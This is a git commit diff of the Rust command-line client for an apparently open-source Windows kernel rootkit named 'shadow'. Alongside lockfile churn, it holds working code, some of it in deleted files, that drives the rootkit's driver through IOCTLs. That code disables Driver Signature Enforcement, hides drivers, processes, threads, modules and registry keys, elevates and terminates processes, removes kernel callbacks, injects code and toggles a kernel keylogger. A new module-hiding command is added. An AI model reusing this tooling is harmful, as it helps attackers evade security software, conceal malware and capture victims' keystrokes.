Adding new features to the 'Module' and refactoring the code

This commit is contained in:
João Victor
2024-09-07 23:33:18 -03:00
parent 3f78e6dced
commit 7330488d31
60 changed files with 2606 additions and 1651 deletions

View File

@@ -174,3 +174,4 @@ These are some of the features that will be added, but there are many more on th
- https://www.amazon.com.br/Rootkits-Subverting-Windows-Greg-Hoglund/dp/0321294319 - https://www.amazon.com.br/Rootkits-Subverting-Windows-Greg-Hoglund/dp/0321294319
- https://github.com/mirror/reactos - https://github.com/mirror/reactos
- https://github.com/Kharos102/ReadWriteDriverSample - https://github.com/Kharos102/ReadWriteDriverSample
- https://imphash.medium.com/windows-process-internals-a-few-concepts-to-know-before-jumping-on-memory-forensics-part-4-16c47b89e826

2
client/.gitignore vendored
View File

@@ -1,2 +1,2 @@
/target /target
/src/memory.rs /src/modules/memory.rs

375
client/Cargo.lock generated
View File

@@ -2,6 +2,30 @@
# It is not intended for manual editing. # It is not intended for manual editing.
version = 3 version = 3
[[package]]
name = "aho-corasick"
version = "1.1.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
dependencies = [
"memchr",
]
[[package]]
name = "android-tzdata"
version = "0.1.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0"
[[package]]
name = "android_system_properties"
version = "0.1.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
dependencies = [
"libc",
]
[[package]] [[package]]
name = "anstream" name = "anstream"
version = "0.6.14" version = "0.6.14"
@@ -38,7 +62,7 @@ version = "1.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ad186efb764318d35165f1758e7dcef3b10628e26d41a44bc5550652e6804391" checksum = "ad186efb764318d35165f1758e7dcef3b10628e26d41a44bc5550652e6804391"
dependencies = [ dependencies = [
"windows-sys", "windows-sys 0.52.0",
] ]
[[package]] [[package]]
@@ -48,7 +72,48 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "61a38449feb7068f52bb06c12759005cf459ee52bb4adc1d5a7c4322d716fb19" checksum = "61a38449feb7068f52bb06c12759005cf459ee52bb4adc1d5a7c4322d716fb19"
dependencies = [ dependencies = [
"anstyle", "anstyle",
"windows-sys", "windows-sys 0.52.0",
]
[[package]]
name = "autocfg"
version = "1.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0c4b4d0bd25bd0b74681c0ad21497610ce1b7c91b1022cd21c80c6fbdd9476b0"
[[package]]
name = "bumpalo"
version = "3.16.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "79296716171880943b8470b5f8d03aa55eb2e645a4874bdbb28adb49162e012c"
[[package]]
name = "cc"
version = "1.1.18"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b62ac837cdb5cb22e10a256099b4fc502b1dfe560cb282963a974d7abd80e476"
dependencies = [
"shlex",
]
[[package]]
name = "cfg-if"
version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
[[package]]
name = "chrono"
version = "0.4.38"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a21f936df1771bf62b77f047b726c4625ff2e8aa607c01ec06e5a05bd8463401"
dependencies = [
"android-tzdata",
"iana-time-zone",
"js-sys",
"num-traits",
"wasm-bindgen",
"windows-targets 0.52.5",
] ]
[[package]] [[package]]
@@ -95,10 +160,13 @@ checksum = "4b82cf0babdbd58558212896d1a4272303a57bdb245c2bf1147185fb45640e70"
name = "client" name = "client"
version = "0.1.0" version = "0.1.0"
dependencies = [ dependencies = [
"chrono",
"clap", "clap",
"colored",
"env_logger",
"log",
"shared", "shared",
"winapi", "windows-sys 0.52.0",
"windows-sys",
] ]
[[package]] [[package]]
@@ -107,18 +175,119 @@ version = "1.0.1"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0b6a852b24ab71dffc585bcb46eaf7959d175cb865a7152e35b348d1b2960422" checksum = "0b6a852b24ab71dffc585bcb46eaf7959d175cb865a7152e35b348d1b2960422"
[[package]]
name = "colored"
version = "2.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cbf2150cce219b664a8a70df7a1f933836724b503f8a413af9365b4dcc4d90b8"
dependencies = [
"lazy_static",
"windows-sys 0.48.0",
]
[[package]]
name = "core-foundation-sys"
version = "0.8.7"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
[[package]]
name = "env_filter"
version = "0.1.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4f2c92ceda6ceec50f43169f9ee8424fe2db276791afde7b2cd8bc084cb376ab"
dependencies = [
"log",
"regex",
]
[[package]]
name = "env_logger"
version = "0.11.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e13fa619b91fb2381732789fc5de83b45675e882f66623b7d8cb4f643017018d"
dependencies = [
"anstream",
"anstyle",
"env_filter",
"humantime",
"log",
]
[[package]] [[package]]
name = "heck" name = "heck"
version = "0.5.0" version = "0.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
[[package]]
name = "humantime"
version = "2.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4"
[[package]]
name = "iana-time-zone"
version = "0.1.60"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e7ffbb5a1b541ea2561f8c41c087286cc091e21e556a4f09a8f6cbf17b69b141"
dependencies = [
"android_system_properties",
"core-foundation-sys",
"iana-time-zone-haiku",
"js-sys",
"wasm-bindgen",
"windows-core",
]
[[package]]
name = "iana-time-zone-haiku"
version = "0.1.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
dependencies = [
"cc",
]
[[package]] [[package]]
name = "is_terminal_polyfill" name = "is_terminal_polyfill"
version = "1.70.0" version = "1.70.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f8478577c03552c21db0e2724ffb8986a5ce7af88107e6be5d2ee6e158c12800" checksum = "f8478577c03552c21db0e2724ffb8986a5ce7af88107e6be5d2ee6e158c12800"
[[package]]
name = "js-sys"
version = "0.3.70"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1868808506b929d7b0cfa8f75951347aa71bb21144b7791bae35d9bccfcfe37a"
dependencies = [
"wasm-bindgen",
]
[[package]]
name = "lazy_static"
version = "1.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
[[package]]
name = "libc"
version = "0.2.158"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d8adc4bb1803a324070e64a98ae98f38934d91957a99cfb3a43dcbc01bc56439"
[[package]]
name = "log"
version = "0.4.22"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24"
[[package]]
name = "memchr"
version = "2.7.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3"
[[package]] [[package]]
name = "ntapi" name = "ntapi"
version = "0.4.1" version = "0.4.1"
@@ -128,6 +297,21 @@ dependencies = [
"winapi", "winapi",
] ]
[[package]]
name = "num-traits"
version = "0.2.19"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
dependencies = [
"autocfg",
]
[[package]]
name = "once_cell"
version = "1.19.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92"
[[package]] [[package]]
name = "proc-macro2" name = "proc-macro2"
version = "1.0.85" version = "1.0.85"
@@ -146,14 +330,49 @@ dependencies = [
"proc-macro2", "proc-macro2",
] ]
[[package]]
name = "regex"
version = "1.10.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4219d74c6b67a3654a9fbebc4b419e22126d13d2f3c4a07ee0cb61ff79a79619"
dependencies = [
"aho-corasick",
"memchr",
"regex-automata",
"regex-syntax",
]
[[package]]
name = "regex-automata"
version = "0.4.7"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "38caf58cc5ef2fed281f89292ef23f6365465ed9a41b7a7754eb4e26496c92df"
dependencies = [
"aho-corasick",
"memchr",
"regex-syntax",
]
[[package]]
name = "regex-syntax"
version = "0.8.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7a66a03ae7c801facd77a29370b4faec201768915ac14a721ba36f20bc9c209b"
[[package]] [[package]]
name = "shared" name = "shared"
version = "0.1.0" version = "0.1.0"
dependencies = [ dependencies = [
"ntapi", "ntapi",
"windows-sys", "windows-sys 0.52.0",
] ]
[[package]]
name = "shlex"
version = "1.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
[[package]] [[package]]
name = "strsim" name = "strsim"
version = "0.11.1" version = "0.11.1"
@@ -183,6 +402,61 @@ version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a"
[[package]]
name = "wasm-bindgen"
version = "0.2.93"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a82edfc16a6c469f5f44dc7b571814045d60404b55a0ee849f9bcfa2e63dd9b5"
dependencies = [
"cfg-if",
"once_cell",
"wasm-bindgen-macro",
]
[[package]]
name = "wasm-bindgen-backend"
version = "0.2.93"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9de396da306523044d3302746f1208fa71d7532227f15e347e2d93e4145dd77b"
dependencies = [
"bumpalo",
"log",
"once_cell",
"proc-macro2",
"quote",
"syn",
"wasm-bindgen-shared",
]
[[package]]
name = "wasm-bindgen-macro"
version = "0.2.93"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "585c4c91a46b072c92e908d99cb1dcdf95c5218eeb6f3bf1efa991ee7a68cccf"
dependencies = [
"quote",
"wasm-bindgen-macro-support",
]
[[package]]
name = "wasm-bindgen-macro-support"
version = "0.2.93"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "afc340c74d9005395cf9dd098506f7f44e38f2b4a21c6aaacf9a105ea5e1e836"
dependencies = [
"proc-macro2",
"quote",
"syn",
"wasm-bindgen-backend",
"wasm-bindgen-shared",
]
[[package]]
name = "wasm-bindgen-shared"
version = "0.2.93"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c62a0a307cb4a311d3a07867860911ca130c3494e8c2719593806c08bc5d0484"
[[package]] [[package]]
name = "winapi" name = "winapi"
version = "0.3.9" version = "0.3.9"
@@ -205,13 +479,46 @@ version = "0.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
[[package]]
name = "windows-core"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9"
dependencies = [
"windows-targets 0.52.5",
]
[[package]]
name = "windows-sys"
version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
dependencies = [
"windows-targets 0.48.5",
]
[[package]] [[package]]
name = "windows-sys" name = "windows-sys"
version = "0.52.0" version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
dependencies = [ dependencies = [
"windows-targets", "windows-targets 0.52.5",
]
[[package]]
name = "windows-targets"
version = "0.48.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
dependencies = [
"windows_aarch64_gnullvm 0.48.5",
"windows_aarch64_msvc 0.48.5",
"windows_i686_gnu 0.48.5",
"windows_i686_msvc 0.48.5",
"windows_x86_64_gnu 0.48.5",
"windows_x86_64_gnullvm 0.48.5",
"windows_x86_64_msvc 0.48.5",
] ]
[[package]] [[package]]
@@ -220,28 +527,46 @@ version = "0.52.5"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb" checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb"
dependencies = [ dependencies = [
"windows_aarch64_gnullvm", "windows_aarch64_gnullvm 0.52.5",
"windows_aarch64_msvc", "windows_aarch64_msvc 0.52.5",
"windows_i686_gnu", "windows_i686_gnu 0.52.5",
"windows_i686_gnullvm", "windows_i686_gnullvm",
"windows_i686_msvc", "windows_i686_msvc 0.52.5",
"windows_x86_64_gnu", "windows_x86_64_gnu 0.52.5",
"windows_x86_64_gnullvm", "windows_x86_64_gnullvm 0.52.5",
"windows_x86_64_msvc", "windows_x86_64_msvc 0.52.5",
] ]
[[package]]
name = "windows_aarch64_gnullvm"
version = "0.48.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
[[package]] [[package]]
name = "windows_aarch64_gnullvm" name = "windows_aarch64_gnullvm"
version = "0.52.5" version = "0.52.5"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263" checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263"
[[package]]
name = "windows_aarch64_msvc"
version = "0.48.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
[[package]] [[package]]
name = "windows_aarch64_msvc" name = "windows_aarch64_msvc"
version = "0.52.5" version = "0.52.5"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6" checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6"
[[package]]
name = "windows_i686_gnu"
version = "0.48.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
[[package]] [[package]]
name = "windows_i686_gnu" name = "windows_i686_gnu"
version = "0.52.5" version = "0.52.5"
@@ -254,24 +579,48 @@ version = "0.52.5"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9" checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9"
[[package]]
name = "windows_i686_msvc"
version = "0.48.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
[[package]] [[package]]
name = "windows_i686_msvc" name = "windows_i686_msvc"
version = "0.52.5" version = "0.52.5"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf" checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf"
[[package]]
name = "windows_x86_64_gnu"
version = "0.48.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
[[package]] [[package]]
name = "windows_x86_64_gnu" name = "windows_x86_64_gnu"
version = "0.52.5" version = "0.52.5"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9" checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9"
[[package]]
name = "windows_x86_64_gnullvm"
version = "0.48.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
[[package]] [[package]]
name = "windows_x86_64_gnullvm" name = "windows_x86_64_gnullvm"
version = "0.52.5" version = "0.52.5"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596" checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596"
[[package]]
name = "windows_x86_64_msvc"
version = "0.48.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
[[package]] [[package]]
name = "windows_x86_64_msvc" name = "windows_x86_64_msvc"
version = "0.52.5" version = "0.52.5"

View File

@@ -5,9 +5,16 @@ edition = "2021"
[dependencies] [dependencies]
clap = { version = "4.5.6", features = ["derive"] } clap = { version = "4.5.6", features = ["derive"] }
winapi = "0.3.9"
windows-sys = { version = "0.52.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Storage_FileSystem", "Win32_System_IO", "Win32_System_Memory", "Win32_System_Threading"] } windows-sys = { version = "0.52.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Storage_FileSystem", "Win32_System_IO", "Win32_System_Memory", "Win32_System_Threading"] }
shared = { path = "../shared" } shared = { path = "../shared" }
log = "0.4.22"
env_logger = { version = "0.11.5" }
colored = "2.1.0"
chrono = "0.4.38"
[features] [features]
mapper = [] mapper = []
[profile.release]
strip = true
opt-level = "z"

View File

@@ -1,6 +1,6 @@
#![allow(non_camel_case_types)] #![allow(non_camel_case_types)]
use clap::{arg, Parser, Subcommand, ValueHint}; use clap::{arg, Parser, Subcommand, ValueHint, ArgAction};
/// The main command-line interface struct. /// The main command-line interface struct.
#[derive(Parser)] #[derive(Parser)]
@@ -9,6 +9,10 @@ pub struct Cli {
/// The command to be executed. /// The command to be executed.
#[command(subcommand)] #[command(subcommand)]
pub command: Commands, pub command: Commands,
/// Activate verbose mode (-v, -vv for additional levels)
#[arg(short, long, action = ArgAction::Count)]
pub verbose: u8,
} }
/// Enum representing the available top-level commands. /// Enum representing the available top-level commands.
@@ -37,7 +41,7 @@ pub enum Commands {
unhide: bool, unhide: bool,
/// Enumerate the drivers. /// Enumerate the drivers.
#[arg(long)] #[arg(long, short)]
list: bool, list: bool,
/// Name Driver /// Name Driver
@@ -58,12 +62,13 @@ pub enum Commands {
#[command(subcommand)] #[command(subcommand)]
sub_command: RegistryCommands sub_command: RegistryCommands
}, },
/// Operations related to Module. /// Operations related to Module.
Module { Module {
/// The process ID for enumerate modules. #[command(subcommand)]
#[arg(short, long, required = true)] sub_command: ModuleCommands
pid: u32,
}, },
/// Operations related to Callback. /// Operations related to Callback.
Callback { Callback {
/// Enumerate callback. /// Enumerate callback.
@@ -82,7 +87,7 @@ pub enum Commands {
#[arg(long, short, required = true)] #[arg(long, short, required = true)]
callback: Callbacks, callback: Callbacks,
// Restore callback. /// Restore callback.
#[arg(long)] #[arg(long)]
restore: Option<usize>, restore: Option<usize>,
}, },
@@ -230,7 +235,7 @@ pub enum ProcessCommands {
/// Lists protected or hidden processes /// Lists protected or hidden processes
Enumerate { Enumerate {
/// Enumerate Processes. /// Enumerate Processes.
#[arg(long, required = true)] #[arg(long, short, required = true)]
list: bool, list: bool,
// Types Enumerate // Types Enumerate
#[arg(long, short, required = true)] #[arg(long, short, required = true)]
@@ -263,6 +268,28 @@ pub enum MisCommands {
}, },
} }
/// Enum representing the subcommands for module operations.
#[derive(Subcommand)]
pub enum ModuleCommands {
/// Hide the module.
Hide {
/// The module to hide.
#[arg(short, long, required = true)]
module: String,
/// The pid to module.
#[arg(short, long, required = true)]
pid: u32,
},
/// Enumerate modules.
Enumerate {
/// The process ID for enumerate modules.
#[arg(short, long, required = true)]
pid: u32,
}
}
/// Enum representing the subcommands for thread operations. /// Enum representing the subcommands for thread operations.
#[derive(Subcommand)] #[derive(Subcommand)]
pub enum ThreadCommands { pub enum ThreadCommands {

View File

@@ -1,147 +0,0 @@
use {
core::mem::size_of,
shared::structs::{DriverInfo, TargetDriver, DSE},
std::{ffi::c_void, ptr::null_mut},
windows_sys::{
w,
Win32::{
Foundation::{
CloseHandle, GetLastError, GENERIC_READ, GENERIC_WRITE, HANDLE, INVALID_HANDLE_VALUE
},
Storage::FileSystem::{
CreateFileW, FILE_ATTRIBUTE_NORMAL, OPEN_EXISTING}, System::IO::DeviceIoControl
}
}
};
pub fn unhide_hide_driver(ioctl_code: u32, name: &String, enable: bool) {
let h_file = open_driver().expect("Failed to open driver");
let status;
let mut info_driver = TargetDriver {
name: name.to_string(),
enable
};
let mut return_buffer = 0;
status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut info_driver as *mut _ as *mut c_void,
std::mem::size_of::<TargetDriver>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
println!("[+] Driver successfully hidden / unhidden")
}
unsafe {
CloseHandle(h_file);
};
}
pub fn enumerate_driver(ioctl_code: u32) {
let h_file = open_driver().expect("Failed to open driver");
let mut driver_info: [DriverInfo; 400] = unsafe { std::mem::zeroed() };
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
null_mut(),
0,
driver_info.as_mut_ptr() as *mut _,
(driver_info.len() * size_of::<DriverInfo>()) as u32,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
let total_module = return_buffer as usize / size_of::<DriverInfo>();
println!("[+] Total modules: {}", total_module);
for i in driver_info.iter() {
if i.address > 0 {
let name = match String::from_utf16(&i.name) {
Ok(name) => name,
Err(err) => {
eprintln!("[!] UTF-16 decoding error: {:?}", err);
continue;
}
};
println!("[{}] {:?} {}", i.index, i.address as *mut c_void, name);
}
}
}
unsafe {
CloseHandle(h_file);
};
}
pub fn dse(ioctl_code: u32, enable: bool) {
let h_file = open_driver().expect("Failed to open driver");
let status;
let mut return_buffer = 0;
let mut info_dse = DSE {
enable
};
status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut info_dse as *mut _ as *mut c_void,
std::mem::size_of::<DSE>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
if enable {
println!("[+] Driver Signature Enforcement (DSE) Enabled");
} else {
println!("[+] Driver Signature Enforcement (DSE) Disabled");
}
}
unsafe {
CloseHandle(h_file);
};
}
pub fn open_driver() -> Result<HANDLE, ()> {
let h_file = unsafe {
CreateFileW(
w!("\\\\.\\shadow"),
GENERIC_READ | GENERIC_WRITE,
0,
null_mut(),
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
)
};
if h_file == INVALID_HANDLE_VALUE {
unsafe { println!("[!] CreateFileW Failed With Error: {:?}", GetLastError()) };
return Err(());
}
Ok(h_file)
}

View File

@@ -1,38 +0,0 @@
use {
std::{ffi::c_void, ptr::null_mut},
windows_sys::Win32::System::IO::DeviceIoControl,
shared::structs::Keylogger,
crate::driver::open_driver,
};
pub fn keylogger(ioctl_code: u32, state: bool) {
let h_file = open_driver().expect("Failed open driver");
let status;
let mut return_buffer = 0;
let mut keylogger = Keylogger {
enable: state
};
status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut keylogger as *mut _ as *mut c_void,
std::mem::size_of::<Keylogger>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
if state {
println!("[+] Keylogger start");
} else {
println!("[+] Keylogger stop");
}
}
}

View File

@@ -1,77 +1,88 @@
use { use {
cli::*, cli::*,
log::*,
colored::*,
clap::Parser, clap::Parser,
std::io::Write,
log::LevelFilter,
shared::ioctls::*, shared::ioctls::*,
module::enumerate_module, env_logger::Builder,
driver::{dse, enumerate_driver, unhide_hide_driver}, };
keylogger::keylogger, use modules::{
process::{ callback::{enumerate_callback, remove_callback, restore_callback}, driver::{enumerate_driver, unhide_hide_driver}, injection::{injection_apc, injection_thread}, misc::{dse, keylogger}, module::{enumerate_module, hide_module}, process::{
elevate_process, elevate_process,
enumerate_process, hide_unhide_process, enumerate_process, hide_unhide_process,
signature_process, terminate_process signature_process, terminate_process
}, }, thread::{enumerate_thread, hide_unhide_thread}
thread::{enumerate_thread, hide_unhide_thread},
callback::{enumerate_callback, remove_callback, restore_callback},
injection::{injection_thread, injection_apc},
}; };
#[cfg(not(feature = "mapper"))] #[cfg(not(feature = "mapper"))]
mod registry; use modules::{
mod callback; registry::{registry_protection, registry_hide_unhide},
mod cli;
mod driver;
mod process;
mod keylogger;
mod thread;
mod injection;
mod module;
mod utils;
#[cfg(not(feature = "mapper"))]
use {
registry::{registry_protection, registry_hide},
process::protection_process, process::protection_process,
thread::protection_thread, thread::protection_thread,
}; };
mod modules;
mod cli;
mod utils;
fn main() { fn main() {
let args = Cli::parse(); let args = Cli::parse();
let mut builder = Builder::new();
let log_level = match args.verbose {
0 => LevelFilter::Info,
_ => LevelFilter::Debug
};
builder.filter(None, log_level).format(|buf, record| {
let timestamp = chrono::Local::now().format("%Y-%m-%dT%H:%M:%S");
let level = match record.level() {
Level::Error => "ERROR".red().bold(),
Level::Warn => "WARN ".yellow().bold(),
Level::Info => "INFO ".green(),
Level::Debug => "DEBUG".bright_black(),
Level::Trace => "TRACE".blue(),
};
writeln!(buf, "[{}] {} [shadow] {}", timestamp, level, record.args())
}).init();
match &args.command { match &args.command {
Commands::Process { sub_command } => match sub_command { Commands::Process { sub_command } => match sub_command {
ProcessCommands::Elevate { pid } => { ProcessCommands::Elevate { pid } => {
println!("[+] Elevate Process: {pid}"); info!("Elevate Process: {pid}");
elevate_process(Some(pid), IOCTL_ELEVATE_PROCESS); elevate_process(Some(pid), IOCTL_ELEVATE_PROCESS);
}, },
ProcessCommands::Hide { pid } => { ProcessCommands::Hide { pid } => {
println!("[+] Hide Process: {pid}"); info!("Hide Process: {pid}");
hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, true); hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, true);
}, },
ProcessCommands::Unhide { pid } => { ProcessCommands::Unhide { pid } => {
println!("[+] UnHide Process: {pid}"); info!("UnHide Process: {pid}");
hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, false); hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, false);
}, },
ProcessCommands::Terminate { pid } => { ProcessCommands::Terminate { pid } => {
println!("[+] Terminate Process: {pid}"); info!("Terminate Process: {pid}");
terminate_process(Some(pid), IOCTL_TERMINATE_PROCESS); terminate_process(Some(pid), IOCTL_TERMINATE_PROCESS);
}, },
ProcessCommands::Signature { pid, pt, sg } => { ProcessCommands::Signature { pid, pt, sg } => {
println!("[+] Signature Process: {pid}"); info!("Signature Process: {pid}");
signature_process(Some(pid), IOCTL_SIGNATURE_PROCESS, sg, pt); signature_process(Some(pid), IOCTL_SIGNATURE_PROCESS, sg, pt);
}, },
#[cfg(not(feature = "mapper"))] #[cfg(not(feature = "mapper"))]
ProcessCommands::Protection { pid, add, remove } => { ProcessCommands::Protection { pid, add, remove } => {
println!("[+] Protection Process: {pid}"); info!("Protection Process: {pid}");
if *add { if *add {
protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, true); protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, true);
} else if *remove { } else if *remove {
protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, false); protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, false);
} else { } else {
eprintln!("[-] No action provided"); error!("No action provided");
} }
}, },
